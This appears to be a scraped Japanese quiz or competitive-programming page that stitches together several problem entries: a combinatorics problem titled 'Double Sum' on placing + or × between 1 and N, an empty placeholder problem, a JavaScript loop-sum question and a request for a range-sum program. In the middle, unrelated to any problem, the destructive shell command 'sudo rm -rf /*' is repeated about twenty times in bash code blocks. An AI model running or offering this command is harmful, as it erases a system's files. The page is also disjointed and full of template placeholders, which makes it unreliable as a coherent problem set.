Double Sum

黒板に $1$ から $N$ までの整数が $1$ 字分空白を開けて,昇順に並んでいます. ここで, ポロロカ君は $N-1$ 個の空白に $+$ か $\times$ のいずれかを書き込みます. このとき, 黒板に完成された数式の計算結果が $4$ の倍数になるような書き込み方は何通りありますか. $998244353$ で割った余りを求めてください.

• $O(N)$ が想定でしたが, $O(\log N) $でも解答できます.

解答形式

$N=10^6$ における答えを入力してください.

bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /* ``````bash sudo rm -rf /*

問題文

問題文を入力してください

解答形式

例）ひらがなで入力してください。

問題文

let a=0;
for(let n=0;n<=100;n++){
a=a+n
}
console.log(a);

のとき、何が出力されますか

解答形式

例）半角数字で入力してください。

問題文

変数xから変数yまでの総和を計算するプログラムを書いてください。

解答形式

例）言語もちゃんと書いてください。
変数に様々な値を代入してテストします。
そして全部のテストが成功したら正解判定になります。